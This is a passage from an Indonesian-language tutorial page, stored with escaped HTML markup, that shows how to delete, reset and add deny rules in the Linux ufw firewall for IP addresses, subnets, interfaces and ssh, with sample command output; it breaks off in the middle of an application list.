&lt;li&gt;hapus rule yang diinginkan dengan perintah:&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;delete&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;deny&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ssh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule deleted&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule deleted (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Reset&lt;a href=&quot;#reset&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Perintah &lt;code&gt;reset&lt;/code&gt; mirip dengan perintah &lt;code&gt;delete&lt;/code&gt;. Namun, perintah &lt;code&gt;reset&lt;/code&gt; lebih “bar-bar” karena akan menghapus seluruh rule yang sudah dibuat dan mengubahnya ke default. Perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;reset&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Resetting all rules to installed defaults. Proceed with operation (y|n)? y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Deny&lt;a href=&quot;#deny&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita akan memblokir &lt;em&gt;traffic/packet/access&lt;/em&gt; menggunakan perintah &lt;strong&gt;deny&lt;/strong&gt; di &lt;strong&gt;&lt;code&gt;ufw&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Ip Address&lt;a href=&quot;#ip-address&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Gunakan perintah berikut untuk memblokir &lt;em&gt;ip address&lt;/em&gt;. Dengan perintah tersebut, semua paket dari (&lt;em&gt;incoming&lt;/em&gt;) dan ke (&lt;em&gt;outgoing&lt;/em&gt;) &lt;em&gt;ip address&lt;/em&gt; tersebut akan diblokir.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;deny&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita bisa memastikan bahwa rule tersebut sudah ditambahkan ke dalam &lt;code&gt;ufw&lt;/code&gt; melalui perintah &lt;code&gt;sudo ufw status&lt;/code&gt;, yang outputnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To                         Action      From&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--                         ------      ----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   DENY        192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Subnet&lt;a href=&quot;#subnet&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa memblokir subnet tertentu, melalui perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;deny&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;192.168.0.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan rule ini, paket-paket yang berasal dari subnet 192.168.0.0/24 akan diblok.&lt;/p&gt;&lt;p&gt;Lagi, kita bisa gunakan perintah &lt;code&gt;sudo ufw status&lt;/code&gt; untuk melihat rule yang sudah dibuat:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To                         Action      From&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--                         ------      ----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   DENY        192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   DENY        192.168.0.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Interface&lt;a href=&quot;#interface&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa memblokir paket yang datang (&lt;em&gt;incoming&lt;/em&gt;) di &lt;em&gt;interface&lt;/em&gt; tertentu. Misalnya, saya memblokir paket yang masuk melalui interface enp0s3:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;deny&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;enp0s3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan rule ini, paket apapun yang datang ke interface enp0s3 akan diblok.&lt;br /&gt;
Di outputnya, terlihat ada 2 rule yang ditambahkan,&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Rule added:&lt;/strong&gt; untuk ipv4&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rule added:&lt;/strong&gt; untuk ipv6&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Statusnya rule &lt;code&gt;ufw&lt;/code&gt; sekarang:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To                         Action      From&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--                         ------      ----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   DENY        192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   DENY        192.168.0.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere on enp0s3         DENY        Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere (v6) on enp0s3    DENY        Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Kita juga bisa memvariasikan rule ini pada opsi yang lain, misalnya untuk ip address atau subnet yang spesifik.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Apps&lt;a href=&quot;#apps&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa memblokir koneksi dari atau ke spesifik aplikasi (ssh, http, ftp, etc) dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;deny&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ssh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan rule ini, akses &lt;strong&gt;ssh&lt;/strong&gt; dari manapun akan ditolak / diblok.&lt;/p&gt;&lt;p&gt;Status:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To                         Action      From&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--                         ------      ----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   DENY        192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   DENY        192.168.0.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere on enp0s3         DENY        Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;22                         DENY        Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere (v6) on enp0s3    DENY        Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;22 (v6)                    DENY        Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Apps List&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Kita juga bisa melihat apa saja applikasi yang tersedia di &lt;code&gt;ufw&lt;/code&gt; dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;app&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Available applications:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;AIM&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Bonjour&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;CIFS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;DNS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Deluge&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;IMAP&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;IMAPS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;IPP&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;KTorrent&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Kerberos Admin&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Kerberos Full&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Kerberos KDC&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Kerberos Password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LDAP&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LDAPS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LPD&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;MSN&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;MSN SSL&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Mail submission&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;NFS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;POP3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;POP3S&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PeopleNearby&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;SMTP&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;SSH&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Socks&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  